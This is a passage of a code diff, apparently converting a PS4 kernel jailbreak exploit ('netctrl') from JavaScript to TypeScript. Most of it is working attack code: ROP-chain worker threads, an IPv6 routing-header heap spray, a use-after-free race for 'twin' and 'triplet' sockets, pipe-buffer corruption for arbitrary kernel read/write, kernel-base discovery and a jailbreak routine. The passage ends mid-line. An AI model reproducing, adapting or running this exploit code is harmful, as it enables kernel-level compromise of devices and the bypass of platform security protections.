iov_thread_ready.add(8 * i) + const done = iov_thread_done.add(8 * i) + const signal_buf = iov_signal_buf.add(8 * i) // Socket pair to signal "run" socketpair(AF_UNIX, SOCK_STREAM, 0, sock_buf) - pipe_0 = read32(sock_buf) - pipe_1 = read32(sock_buf.add(4)) + const pipe_0 = read32(sock_buf) + const pipe_1 = read32(sock_buf.add(4)) // debug("create pipe: " + pipe_0 + " " + pipe_1); - var ret = iov_recvmsg_worker_rop(ready, pipe_0, done, signal_buf) + const ret = iov_recvmsg_worker_rop(ready, new BigInt(pipe_0), done, signal_buf) - worker.rop = ret.rop - worker.loop_size = ret.loop_size - worker.pipe_0 = pipe_0 - worker.pipe_1 = pipe_1 - worker.ready = ready - worker.done = done - worker.signal_buf = signal_buf + const worker: Worker = { + rop: ret.rop, + loop_size: ret.loop_size, + pipe_0, + pipe_1, + ready, + done, + signal_buf + } iov_recvmsg_workers[i] = worker } - for (var i = 0; i < UIO_THREAD_NUM; i++) { - var worker = {} - var pipe_0 - var pipe_1 - var ready = uio_readv_thread_ready.add(8 * i) - var done = uio_readv_thread_done.add(8 * i) - var signal_buf = uio_readv_signal_buf.add(8 * i) + for (let i = 0; i < UIO_THREAD_NUM; i++) { + const ready = uio_readv_thread_ready.add(8 * i) + const done = uio_readv_thread_done.add(8 * i) + const signal_buf = uio_readv_signal_buf.add(8 * i) // Socket pair to signal "run" socketpair(AF_UNIX, SOCK_STREAM, 0, sock_buf) - pipe_0 = read32(sock_buf) - pipe_1 = read32(sock_buf.add(4)) + const pipe_0 = read32(sock_buf) + const pipe_1 = read32(sock_buf.add(4)) // debug("create pipe: " + pipe_0 + " " + pipe_1); - var ret = uio_readv_worker_rop(ready, pipe_0, done, signal_buf) + const ret = uio_readv_worker_rop(ready, new BigInt(pipe_0), done, signal_buf) - worker.rop = ret.rop - worker.loop_size = ret.loop_size - worker.pipe_0 = pipe_0 - worker.pipe_1 = pipe_1 - worker.ready = ready - worker.done = done - worker.signal_buf = signal_buf + const worker = { + rop: ret.rop, + loop_size: ret.loop_size, + pipe_0, + pipe_1, + ready, + done, + signal_buf + } uio_readv_workers[i] = worker } - for (var i = 0; i < UIO_THREAD_NUM; i++) { - var worker = {} - var pipe_0 - var pipe_1 - var ready = uio_writev_thread_ready.add(8 * i) - var done = uio_writev_thread_done.add(8 * i) - var signal_buf = uio_writev_signal_buf.add(8 * i) + for (let i = 0; i < UIO_THREAD_NUM; i++) { + const ready = uio_writev_thread_ready.add(8 * i) + const done = uio_writev_thread_done.add(8 * i) + const signal_buf = uio_writev_signal_buf.add(8 * i) // Socket pair to signal "run" socketpair(AF_UNIX, SOCK_STREAM, 0, sock_buf) - pipe_0 = read32(sock_buf) - pipe_1 = read32(sock_buf.add(4)) + const pipe_0 = read32(sock_buf) + const pipe_1 = read32(sock_buf.add(4)) // debug("create pipe: " + pipe_0 + " " + pipe_1); - var ret = uio_writev_worker_rop(ready, pipe_0, done, signal_buf) + const ret = uio_writev_worker_rop(ready, new BigInt(pipe_0), done, signal_buf) - worker.rop = ret.rop - worker.loop_size = ret.loop_size - worker.pipe_0 = pipe_0 - worker.pipe_1 = pipe_1 - worker.ready = ready - worker.done = done - worker.signal_buf = signal_buf + const worker = { + rop: ret.rop, + loop_size: ret.loop_size, + pipe_0, + pipe_1, + ready, + done, + signal_buf + } uio_writev_workers[i] = worker } // Create worker for spray and read magic in ipv6_sockets - var worker = {} - var pipe_0 - var pipe_1 - var ready = spray_ipv6_ready - var done = spray_ipv6_done - var signal_buf = spray_ipv6_signal_buf + const ready = spray_ipv6_ready + const done = spray_ipv6_done + const signal_buf = spray_ipv6_signal_buf // Socket pair to signal "run" socketpair(AF_UNIX, SOCK_STREAM, 0, sock_buf) - pipe_0 = read32(sock_buf) - pipe_1 = read32(sock_buf.add(4)) + const pipe_0 = read32(sock_buf) + const pipe_1 = read32(sock_buf.add(4)) - var ret = ipv6_sock_spray_and_read_rop(ready, pipe_0, done, signal_buf) + const ret = ipv6_sock_spray_and_read_rop(ready, new BigInt(pipe_0), done, signal_buf) - worker.rop = ret.rop - worker.loop_size = ret.loop_size - worker.pipe_0 = pipe_0 - worker.pipe_1 = pipe_1 - worker.ready = ready - worker.done = done - worker.signal_buf = signal_buf + const worker = { + rop: ret.rop, + loop_size: ret.loop_size, + pipe_0, + pipe_1, + ready, + done, + signal_buf + } spray_ipv6_worker = worker // --> Worker data } @@ -484,65 +450,66 @@ function create_workers () { function init_workers () { init_threading() // save needed info for longjmp - var worker - var ret + let worker + let ret - for (var i = 0; i < IOV_THREAD_NUM; i++) { - worker = iov_recvmsg_workers[i] + for (let i = 0; i < IOV_THREAD_NUM; i++) { + worker = iov_recvmsg_workers[i]! ret = spawn_thread(worker.rop, worker.loop_size) if (ret.eq(BigInt_Error)) { throw new Error('Could not spawn iov_recvmsg_workers[' + i + ']') } - var thread_id = ret & 0xFFFFFFFF // Convert to 32bits value - iov_recvmsg_workers[i].thread_id = thread_id // Save thread ID + const thread_id = Number(ret.and(0xFFFFFFFF)) // Convert to 32bits value + worker.thread_id = thread_id // Save thread ID } - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_readv_workers[i] + for (let i = 0; i < UIO_THREAD_NUM; i++) { + worker = uio_readv_workers[i]! ret = spawn_thread(worker.rop, worker.loop_size) if (ret.eq(BigInt_Error)) { throw new Error('Could not spawn uio_readv_workers[' + i + ']') } - var thread_id = ret & 0xFFFFFFFF // Convert to 32bits value - uio_readv_workers[i].thread_id = thread_id // Save thread ID + const thread_id = Number(ret.and(0xFFFFFFFF)) // Convert to 32bits value + worker.thread_id = thread_id // Save thread ID } - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_writev_workers[i] + for (let i = 0; i < UIO_THREAD_NUM; i++) { + worker = uio_writev_workers[i]! ret = spawn_thread(worker.rop, worker.loop_size) if (ret.eq(BigInt_Error)) { throw new Error('Could not spawn uio_writev_workers[' + i + ']') } - var thread_id = ret & 0xFFFFFFFF // Convert to 32bits value - uio_writev_workers[i].thread_id = thread_id // Save thread ID + const thread_id = Number(ret.and(0xFFFFFFFF)) // Convert to 32bits value + worker.thread_id = thread_id // Save thread ID } } -function nanosleep_fun (nsec) { +function nanosleep_fun (nsec: number) { const timespec = malloc(0x10) write64(timespec, Math.floor(nsec / 1e9)) // tv_sec write64(timespec.add(8), nsec % 1e9) // tv_nsec nanosleep(timespec) } -function wait_for (addr, threshold) { +function wait_for (addr: BigInt, threshold: number) { while (!read64(addr).eq(threshold)) { nanosleep_fun(1) } } function trigger_iov_recvmsg () { + let worker: Worker // Clear done signals - for (var i = 0; i < IOV_THREAD_NUM; i++) { - worker = iov_recvmsg_workers[i] + for (let i = 0; i < IOV_THREAD_NUM; i++) { + worker = iov_recvmsg_workers[i]! write64(worker.done, 0) // debug("Worker done: " + hex(read64(worker.done)) ); } // Send Init signal - for (var i = 0; i < IOV_THREAD_NUM; i++) { - worker = iov_recvmsg_workers[i] - ret = write(worker.pipe_1, worker.signal_buf, 1) + for (let i = 0; i < IOV_THREAD_NUM; i++) { + worker = iov_recvmsg_workers[i]! + const ret = write(new BigInt(worker.pipe_1), worker.signal_buf, 1) if (ret.eq(BigInt_Error)) { throw new Error("Could not signal 'run' iov_recvmsg_workers[" + i + ']') } @@ -550,9 +517,10 @@ function trigger_iov_recvmsg () { } function wait_iov_recvmsg () { + let worker: Worker // Wait for completition - for (var i = 0; i < IOV_THREAD_NUM; i++) { - worker = iov_recvmsg_workers[i] + for (let i = 0; i < IOV_THREAD_NUM; i++) { + worker = iov_recvmsg_workers[i]! wait_for(worker.done, 1) // debug("Worker done: " + hex(read64(worker.done)) ); } @@ -568,15 +536,15 @@ function trigger_ipv6_spray_and_read () { // Spawn ipv6_sockets spray and read worker // Passing an stack addr reserved for each iteration - ret = spawn_thread(spray_ipv6_worker.rop, spray_ipv6_worker.loop_size, spray_ipv6_stack) + let ret = spawn_thread(spray_ipv6_worker.rop, spray_ipv6_worker.loop_size, spray_ipv6_stack) if (ret.eq(BigInt_Error)) { throw new Error('Could not spray_ipv6_worker') } - var thread_id = ret & 0xFFFFFFFF // Convert to 32bits value + const thread_id = Number(ret.and(0xFFFFFFFF)) // Convert to 32bits value spray_ipv6_worker.thread_id = thread_id // Save thread ID // Send Init signal - ret = write(spray_ipv6_worker.pipe_1, spray_ipv6_worker.signal_buf, 1) + ret = write(new BigInt(spray_ipv6_worker.pipe_1), spray_ipv6_worker.signal_buf, 1) if (ret.eq(BigInt_Error)) { throw new Error("Could not signal 'run' spray_ipv6_worker") } @@ -588,17 +556,18 @@ function wait_ipv6_spray_and_read () { } function trigger_uio_readv () { + let worker: Worker // Clear done signals - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_readv_workers[i] + for (let i = 0; i < UIO_THREAD_NUM; i++) { + worker = uio_readv_workers[i]! write64(worker.done, 0) // debug("trigger_uio_readv done: " + hex(read64(worker.done)) ); } // Send Init signal - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_readv_workers[i] - ret = write(worker.pipe_1, worker.signal_buf, 1) + for (let i = 0; i < UIO_THREAD_NUM; i++) { + worker = uio_readv_workers[i]! + const ret = write(new BigInt(worker.pipe_1), worker.signal_buf, 1) if (ret.eq(BigInt_Error)) { throw new Error("Could not signal 'run' iov_recvmsg_workers[" + i + ']') } @@ -606,26 +575,28 @@ function trigger_uio_readv () { } function wait_uio_readv () { + let worker: Worker // Wait for completition - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_readv_workers[i] + for (let i = 0; i < UIO_THREAD_NUM; i++) { + worker = uio_readv_workers[i]! wait_for(worker.done, 1) } // debug("Exit wait_uio_readv()"); } function trigger_uio_writev () { + let worker: Worker // Clear done signals - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_writev_workers[i] + for (let i = 0; i < UIO_THREAD_NUM; i++) { + worker = uio_writev_workers[i]! write64(worker.done, 0) // debug("trigger_uio_writev done: " + hex(read64(worker.done)) ); } // Send Init signal - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_writev_workers[i] - ret = write(worker.pipe_1, worker.signal_buf, 1) + for (let i = 0; i < UIO_THREAD_NUM; i++) { + worker = uio_writev_workers[i]! + const ret = write(new BigInt(worker.pipe_1), worker.signal_buf, 1) if (ret.eq(BigInt_Error)) { throw new Error("Could not signal 'run' iov_recvmsg_workers[" + i + ']') } @@ -633,9 +604,10 @@ function trigger_uio_writev () { } function wait_uio_writev () { + let worker: Worker // Wait for completition - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_writev_workers[i] + for (let i = 0; i < UIO_THREAD_NUM; i++) { + worker = uio_writev_workers[i]! wait_for(worker.done, 1) } // debug("Exit wait_uio_writev()"); @@ -647,13 +619,19 @@ function init () { FW_VERSION = get_fwversion() debug('Detected PS4 firmware: ' + FW_VERSION) - function compare_version (a, b) { + if (FW_VERSION === null) { + log('Failed to detect PS4 firmware version.\nAborting...') + send_notification('Failed to detect PS4 firmware version.\nAborting...') + return false + } + + const compare_version = (a: string, b: string) => { const a_arr = a.split('.') - const amaj = a_arr[0] - const amin = a_arr[1] + const amaj = Number(a_arr[0]) + const amin = Number(a_arr[1]) const b_arr = b.split('.') - const bmaj = b_arr[0] - const bmin = b_arr[1] + const bmaj = Number(b_arr[0]) + const bmin = Number(b_arr[1]) return amaj === bmaj ? amin - bmin : amaj - bmaj } @@ -669,6 +647,9 @@ function init () { return true } +let prev_core: number = -1 +let prev_rtprio: number = -1 + function setup () { debug('Preparing netctrl...') @@ -683,7 +664,7 @@ function setup () { // debug("this is spray_rthdr_len: " + hex(spray_rthdr_len)); // Fill spray_rthdr_rop for ipv6_sockets spray - for (var i = 0; i < IPV6_SOCK_NUM; i++) { + for (let i = 0; i < IPV6_SOCK_NUM; i++) { build_rthdr(spray_rthdr_rop.add(i * UCRED_SIZE), UCRED_SIZE) // Prefill with tagged information write32(spray_rthdr_rop.add(i * UCRED_SIZE + 0x04), RTHDR_TAG | i) @@ -693,7 +674,7 @@ function setup () { write64(msg.add(0x10), msgIov) // msg_iov write64(msg.add(0x18), MSG_IOV_NUM) // msg_iovlen - dummyBuffer = malloc(0x1000) + const dummyBuffer = malloc(0x1000) fill_buffer_64(dummyBuffer, new BigInt(0x41414141, 0x41414141), 0x1000) write64(uioIovRead.add(0x00), dummyBuffer) @@ -710,7 +691,7 @@ function setup () { iov_sock_1 = read32(iov_sock.add(4)) // Set up sockets for spraying. - for (var i = 0; i < ipv6_socks.length; i++) { + for (let i = 0; i < ipv6_socks.length; i++) { ipv6_socks[i] = socket(AF_INET6, SOCK_STREAM, 0) } @@ -731,10 +712,10 @@ function setup () { victimRpipeFd = victim_pipe[0] victimWpipeFd = victim_pipe[1] - fcntl(masterRpipeFd, F_SETFL, O_NONBLOCK) - fcntl(masterWpipeFd, F_SETFL, O_NONBLOCK) - fcntl(victimRpipeFd, F_SETFL, O_NONBLOCK) - fcntl(victimWpipeFd, F_SETFL, O_NONBLOCK) + fcntl(new BigInt(masterRpipeFd), F_SETFL, O_NONBLOCK) + fcntl(new BigInt(masterWpipeFd), F_SETFL, O_NONBLOCK) + fcntl(new BigInt(victimRpipeFd), F_SETFL, O_NONBLOCK) + fcntl(new BigInt(victimWpipeFd), F_SETFL, O_NONBLOCK) // Create and Init Thread Workers create_workers() @@ -745,60 +726,58 @@ function setup () { } function cleanup () { - var worker - debug('Cleaning up...') // Close all files. - for (var i = 0; i < ipv6_socks.length; i++) { + for (let i = 0; i < ipv6_socks.length; i++) { close(ipv6_socks[i]) } - close(uio_sock_1) - close(uio_sock_0) - close(iov_sock_1) - close(iov_sock_0) + close(new BigInt(uio_sock_1)) + close(new BigInt(uio_sock_0)) + close(new BigInt(iov_sock_1)) + close(new BigInt(iov_sock_0)) if (uaf_socket !== undefined) { - close(uaf_socket) + close(new BigInt(uaf_socket)) } - for (var i = 0; i < IOV_THREAD_NUM; i++) { - worker = iov_recvmsg_workers[i] + for (let i = 0; i < IOV_THREAD_NUM; i++) { + const worker = iov_recvmsg_workers[i] if (worker !== undefined) { if (worker.thread_id !== undefined) { // thr_kill(worker.thread_id, 9); // SIGKILL } - close(worker.pipe_0) - close(worker.pipe_1) + close(new BigInt(worker.pipe_0)) + close(new BigInt(worker.pipe_1)) } } - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_readv_workers[i] + for (let i = 0; i < UIO_THREAD_NUM; i++) { + const worker = uio_readv_workers[i] if (worker !== undefined) { if (worker.thread_id !== undefined) { // thr_kill(worker.thread_id, 9); // SIGKILL } - close(worker.pipe_0) - close(worker.pipe_1) + close(new BigInt(worker.pipe_0)) + close(new BigInt(worker.pipe_1)) } } - for (var i = 0; i < UIO_THREAD_NUM; i++) { - worker = uio_writev_workers[i] + for (let i = 0; i < UIO_THREAD_NUM; i++) { + const worker = uio_writev_workers[i] if (worker !== undefined) { if (worker.thread_id !== undefined) { // thr_kill(worker.thread_id, 9); // SIGKILL } - close(worker.pipe_0) - close(worker.pipe_1) + close(new BigInt(worker.pipe_0)) + close(new BigInt(worker.pipe_1)) } } if (spray_ipv6_worker !== undefined) { - close(spray_ipv6_worker.pipe_0) - close(spray_ipv6_worker.pipe_1) + close(new BigInt(spray_ipv6_worker.pipe_0)) + close(new BigInt(spray_ipv6_worker.pipe_1)) } if (prev_core >= 0) { @@ -814,53 +793,17 @@ function cleanup () { // thr_kill(iov_recvmsg_workers[1].thread_id, 9); // SIGKILL } -function fill_buffer_64 (buf, val, len) { - for (var i = 0; i < len; i = i + 8) { +function fill_buffer_64 (buf: BigInt, val: BigInt, len: number) { + for (let i = 0; i < len; i = i + 8) { write64(buf.add(i), val) } } -function find_twins_rop () { - var count = 0 - var val - var i - var j - - while (count < MAX_ROUNDS_TWIN) { - if (count % 10 === 0) { - // debug("find_twins_rop iteration: " + count); - } - - // Trigger worker to fill ipv6 sockets - trigger_ipv6_spray_and_read() - // Wait completition - wait_ipv6_spray_and_read() - - for (i = 0; i < IPV6_SOCK_NUM; i++) { - val = read32(read_rthdr_rop.add(i * 8 + 4)) - // debug("Read val: " + hex(val) + " from add " + hex(read_rthdr_rop.add(i*8))); - j = val & 0xFFFF - // I got 'i' socket routing header but find 'j' value - if ((val & 0xFFFF0000) === RTHDR_TAG && i !== j) { - twins[0] = i - twins[1] = j - debug('[*] Twins found: [' + i + '] [' + j + ']') - return true - } - } - count++ - } - debug('find_twins_rop failed') - return false - // cleanup(); - // throw new Error("find_twins failed"); -} - function find_twins () { - var count = 0 - var val - var i - var j + let count = 0 + let val + let i + let j // Minimizing the usage of BigInt class const spray_add = spray_rthdr.add(0x04) @@ -898,17 +841,17 @@ function find_twins () { // throw new Error("find_twins failed"); } -function find_triplet (master, other, iterations) { +function find_triplet (master: number, other: number, iterations?: number) { // debug("Enter find_triplet (" + master + ") (" + other + ")" ); if (typeof iterations === 'undefined') { iterations = MAX_ROUNDS_TRIPLET } - var count = 0 - var val - var i - var j + let count = 0 + let val + let i + let j // Minimizing the usage of BigInt class const spray_add = spray_rthdr.add(0x04) @@ -958,15 +901,15 @@ function init_threading () { } function netctrl_exploit () { - var supported_fw = init() + const supported_fw = init() if (!supported_fw) { return } setup() - var end = false - var count = 0 + let end = false + let count = 0 while (!end && count < MAIN_LOOP_ITERATIONS) { count++ @@ -1017,7 +960,7 @@ function setup_arbitrary_rw () { write32(master_pipe_buf.add(0x0C), PAGE_SIZE) // size write64(master_pipe_buf.add(0x10), victim_r_pipe_data) // buffer - var ret_write = kwriteslow(master_r_pipe_data, master_pipe_buf, PIPEBUF_SIZE) + const ret_write = kwriteslow(master_r_pipe_data, master_pipe_buf, PIPEBUF_SIZE) if (ret_write.eq(BigInt_Error)) { cleanup() @@ -1037,8 +980,8 @@ function setup_arbitrary_rw () { // Remove triple freed file from free list remove_uaf_file() - for (var i = 0; i < 0x20; i = i + 8) { - var readed = kread64(master_r_pipe_data.add(i)) + for (let i = 0; i < 0x20; i = i + 8) { + const readed = kread64(master_r_pipe_data.add(i)) debug('Reading master_r_pipe_data[' + i + '] : ' + hex(readed)) } @@ -1053,32 +996,38 @@ function find_allproc () { const pipe_0 = read32(pipe_fd) const pipe_1 = read32(pipe_fd.add(0x04)) - curr_pid = malloc(4) - write32(curr_pid, getpid()) - ioctl(pipe_0, FIOSETOWN, curr_pid) + const curr_pid = malloc(4) + write32(curr_pid, Number(getpid())) + ioctl(new BigInt(pipe_0), FIOSETOWN, curr_pid) - fp = fget(pipe_0) - f_data = kread64(fp.add(0x00)) - pipe_sigio = kread64(f_data.add(0xd0)) - p = kread64(pipe_sigio) + const fp = fget(pipe_0) + const f_data = kread64(fp.add(0x00)) + const pipe_sigio = kread64(f_data.add(0xd0)) + let p = kread64(pipe_sigio) kernel.addr.curproc = p // Set global curproc while (!(p.and(new BigInt(0xFFFFFFFF, 0x00000000))).eq(new BigInt(0xFFFFFFFF, 0x00000000))) { p = kread64(p.add(0x08)) // p_list.le_prev } - close(pipe_1) - close(pipe_0) + close(new BigInt(pipe_1)) + close(new BigInt(pipe_0)) return p } function jailbreak () { + if (!kernel_offset || !('KL_LOCK' in kernel_offset)) { + throw new Error('Kernel offsets not loaded') + } + if (FW_VERSION === null) { + throw new Error('FW_VERSION is null') + } kernel.addr.allproc = find_allproc() // Set global allproc debug('allproc: ' + hex(kernel.addr.allproc)) // Calculate kernel base - kernel.addr.base = kl_lock.sub(kernel_offset.KL_LOCK) + kernel.addr.base = kl_lock.sub((kernel_offset as { KL_LOCK: number }).KL_LOCK) debug('Kernel base: ' + hex(kernel.addr.base)) jailbreak_shared(FW_VERSION) @@ -1087,30 +1036,29 @@ function jailbreak () { utils.notify('The Vue-after-Free team congratulates you\nNetCtrl Finished OK\nEnjoy freedom') } -function fhold (fp) { +function fhold (fp: BigInt) { kwrite32(fp.add(0x28), kread32(fp.add(0x28)) + 1) // f_count } -function fget (fd) { +function fget (fd: number) { return kread64(fdt_ofiles.add(fd * FILEDESCENT_SIZE)) } -function remove_rthr_from_socket (fd) { +function remove_rthr_from_socket (fd: number) { // In case last triplet was not found in kwriteslow // At this point we don't care about twins/triplets if (fd > 0) { - fp = fget(fd) - f_data = kread64(fp.add(0x00)) - so_pcb = kread64(f_data.add(0x18)) - in6p_outputopts = kread64(so_pcb.add(0x118)) - kwrite64(in6p_outputopts.add(0x68), 0) // ip6po_rhi_rthdr + const fp = fget(fd) + const f_data = kread64(fp.add(0x00)) + const so_pcb = kread64(f_data.add(0x18)) + const in6p_outputopts = kread64(so_pcb.add(0x118)) + kwrite64(in6p_outputopts.add(0x68), new BigInt(0)) // ip6po_rhi_rthdr } } const victim_pipe_buf = malloc(PIPEBUF_SIZE) -const debug_buffer = malloc(PIPEBUF_SIZE) -function corrupt_pipe_buf (cnt, _in, out, size, buffer) { +function corrupt_pipe_buf (cnt: number, _in: number, out: number, size: number, buffer: BigInt) { if (buffer.eq(0)) { throw new Error('buffer cannot be zero') } @@ -1119,67 +1067,67 @@ function corrupt_pipe_buf (cnt, _in, out, size, buffer) { write32(victim_pipe_buf.add(0x08), out) // out write32(victim_pipe_buf.add(0x0C), size) // size write64(victim_pipe_buf.add(0x10), buffer) // buffer - write(masterWpipeFd, victim_pipe_buf, PIPEBUF_SIZE) + write(new BigInt(masterWpipeFd), victim_pipe_buf, PIPEBUF_SIZE) // Debug /* read(masterRpipeFd, debug_buffer, PIPEBUF_SIZE); - for (var i=0; i 0 we need to prepare the ROP to regenerate itself and jump back // loop_entries indicates the number of stack entries we need to regenerate if (loop_entries !== 0) { - var last_rop_entry = rop_addr.add(rop_array.length * 8).sub(8) // We pass the add of the last ROP instruction + const last_rop_entry = rop_addr.add(rop_array.length * 8).sub(8) // We pass the add of the last ROP instruction rop_regen_and_loop(last_rop_entry, loop_entries) // now our rop size is rop_array.length + loop_entries * (0x28) {copy primitive} + 0x10 {stack pivot} } @@ -1743,8 +1693,8 @@ function spawn_thread (rop_array, loop_entries, stack) { // 0x00: RIP, 0x08: RBX, 0x10: RSP, 0x18: RBP, 0x20-0x38: R12-R15, 0x40: FPU, 0x44: MXCSR write64(jmpbuf.add(0x00), gadgets.RET) // RIP - ret gadget write64(jmpbuf.add(0x10), rop_addr) // RSP - pivot to ROP chain - write32(jmpbuf.add(0x40), new BigInt(saved_fpu_ctrl)) // FPU control - write32(jmpbuf.add(0x44), new BigInt(saved_mxcsr)) // MXCSR + write32(jmpbuf.add(0x40), saved_fpu_ctrl) // FPU control + write32(jmpbuf.add(0x44), saved_mxcsr) // MXCSR const stack_size = new BigInt(0x100) const tls_size = new BigInt(0x40) @@ -1772,23 +1722,23 @@ function spawn_thread (rop_array, loop_entries, stack) { return read64(tid_addr) } -function iov_recvmsg_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { - var rop = [] +function iov_recvmsg_worker_rop (ready_signal: BigInt, run_fd: BigInt, done_signal: BigInt, signal_buf: BigInt) { + const rop: BigInt[] = [] - rop.push(0) // first element overwritten by longjmp, skip it + rop.push(new BigInt(0)) // first element overwritten by longjmp, skip it const cpu_mask = malloc(0x10) write16(cpu_mask, 1 << MAIN_CORE) // Pin to core - cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 0x10, mask) rop.push(gadgets.POP_RDI_RET) - rop.push(3) // CPU_LEVEL_WHICH + rop.push(new BigInt(3)) // CPU_LEVEL_WHICH rop.push(gadgets.POP_RSI_RET) - rop.push(1) // CPU_WHICH_TID + rop.push(new BigInt(1)) // CPU_WHICH_TID rop.push(gadgets.POP_RDX_RET) rop.push(BigInt_Error) // id = -1 (current thread) rop.push(gadgets.POP_RCX_RET) - rop.push(0x10) // setsize + rop.push(new BigInt(0x10)) // setsize rop.push(gadgets.POP_R8_RET) rop.push(cpu_mask) rop.push(cpuset_setaffinity_wrapper) @@ -1799,9 +1749,9 @@ function iov_recvmsg_worker_rop (ready_signal, run_fd, done_signal, signal_buf) // Set priority - rtprio_thread(RTP_SET, 0, rtprio_buf) rop.push(gadgets.POP_RDI_RET) - rop.push(1) // RTP_SET + rop.push(new BigInt(1)) // RTP_SET rop.push(gadgets.POP_RSI_RET) - rop.push(0) // lwpid = 0 (current thread) + rop.push(new BigInt(0)) // lwpid = 0 (current thread) rop.push(gadgets.POP_RDX_RET) rop.push(rtprio_buf) rop.push(rtprio_thread_wrapper) @@ -1810,10 +1760,10 @@ function iov_recvmsg_worker_rop (ready_signal, run_fd, done_signal, signal_buf) rop.push(gadgets.POP_RDI_RET) rop.push(ready_signal) rop.push(gadgets.POP_RAX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - var loop_init = rop.length + const loop_init = rop.length // Read from pipe (blocks here) - read(run_fd, pipe_buf, 1) rop.push(gadgets.POP_RDI_RET) @@ -1821,27 +1771,27 @@ function iov_recvmsg_worker_rop (ready_signal, run_fd, done_signal, signal_buf) rop.push(gadgets.POP_RSI_RET) rop.push(signal_buf) rop.push(gadgets.POP_RDX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(read_wrapper) // recvmsg(iov_sock_0, msg, 0) rop.push(gadgets.POP_RDI_RET) - rop.push(iov_sock_0) + rop.push(new BigInt(iov_sock_0)) rop.push(gadgets.POP_RSI_RET) rop.push(msg) rop.push(gadgets.POP_RDX_RET) - rop.push(0) + rop.push(new BigInt(0)) rop.push(recvmsg_wrapper) // Signal done - write 1 to deletion_signal rop.push(gadgets.POP_RDI_RET) // pop rdi ; ret rop.push(done_signal) rop.push(gadgets.POP_RAX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - var loop_end = rop.length - var loop_size = loop_end - loop_init + const loop_end = rop.length + const loop_size = loop_end - loop_init // It's gonna loop return { @@ -1850,23 +1800,23 @@ function iov_recvmsg_worker_rop (ready_signal, run_fd, done_signal, signal_buf) } } -function uio_readv_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { - var rop = [] +function uio_readv_worker_rop (ready_signal: BigInt, run_fd: BigInt, done_signal: BigInt, signal_buf: BigInt) { + const rop: BigInt[] = [] - rop.push(0) // first element overwritten by longjmp, skip it + rop.push(new BigInt(0)) // first element overwritten by longjmp, skip it const cpu_mask = malloc(0x10) write16(cpu_mask, 1 << MAIN_CORE) // Pin to core - cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 0x10, mask) rop.push(gadgets.POP_RDI_RET) - rop.push(3) // CPU_LEVEL_WHICH + rop.push(new BigInt(3)) // CPU_LEVEL_WHICH rop.push(gadgets.POP_RSI_RET) - rop.push(1) // CPU_WHICH_TID + rop.push(new BigInt(1)) // CPU_WHICH_TID rop.push(gadgets.POP_RDX_RET) rop.push(BigInt_Error) // id = -1 (current thread) rop.push(gadgets.POP_RCX_RET) - rop.push(0x10) // setsize + rop.push(new BigInt(0x10)) // setsize rop.push(gadgets.POP_R8_RET) rop.push(cpu_mask) rop.push(cpuset_setaffinity_wrapper) @@ -1877,9 +1827,9 @@ function uio_readv_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { // Set priority - rtprio_thread(RTP_SET, 0, rtprio_buf) rop.push(gadgets.POP_RDI_RET) - rop.push(1) // RTP_SET + rop.push(new BigInt(1)) // RTP_SET rop.push(gadgets.POP_RSI_RET) - rop.push(0) // lwpid = 0 (current thread) + rop.push(new BigInt(0)) // lwpid = 0 (current thread) rop.push(gadgets.POP_RDX_RET) rop.push(rtprio_buf) rop.push(rtprio_thread_wrapper) @@ -1888,10 +1838,10 @@ function uio_readv_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { rop.push(gadgets.POP_RDI_RET) rop.push(ready_signal) rop.push(gadgets.POP_RAX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - var loop_init = rop.length + const loop_init = rop.length // Read from pipe (blocks here) - read(run_fd, pipe_buf, 1) rop.push(gadgets.POP_RDI_RET) @@ -1899,27 +1849,27 @@ function uio_readv_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { rop.push(gadgets.POP_RSI_RET) rop.push(signal_buf) rop.push(gadgets.POP_RDX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(read_wrapper) // readv(uio_sock_0, uioIovWrite, UIO_IOV_NUM); rop.push(gadgets.POP_RDI_RET) - rop.push(uio_sock_0) + rop.push(new BigInt(uio_sock_0)) rop.push(gadgets.POP_RSI_RET) rop.push(uioIovWrite) rop.push(gadgets.POP_RDX_RET) - rop.push(UIO_IOV_NUM) + rop.push(new BigInt(UIO_IOV_NUM)) rop.push(readv_wrapper) // Signal done - write 1 to deletion_signal rop.push(gadgets.POP_RDI_RET) // pop rdi ; ret rop.push(done_signal) rop.push(gadgets.POP_RAX_RET) - rop.push(1) + rop.push(new BigInt(1)) rop.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - var loop_end = rop.length - var loop_size = loop_end - loop_init + const loop_end = rop.length + const loop_size = loop_end - loop_init // It's gonna loop return { @@ -1928,23 +1878,23 @@ function uio_readv_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { } } -function uio_writev_worker_rop (ready_signal, run_fd, done_signal, signal_buf) { - var rop = [] +function uio_writev_worker_rop (ready_signal: BigInt, run_fd: BigInt, done_signal: BigInt, signal_buf: BigInt) { + const rop: BigInt[] = [] - rop.push(0) // first element overwritten by longjmp, skip it + rop.push(new BigInt(0)) // first element overwritten by longjmp, skip it const cpu_mask = malloc(0x10) write16(cpu_mask, 1 << MAIN_CORE) // Pin to core - cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 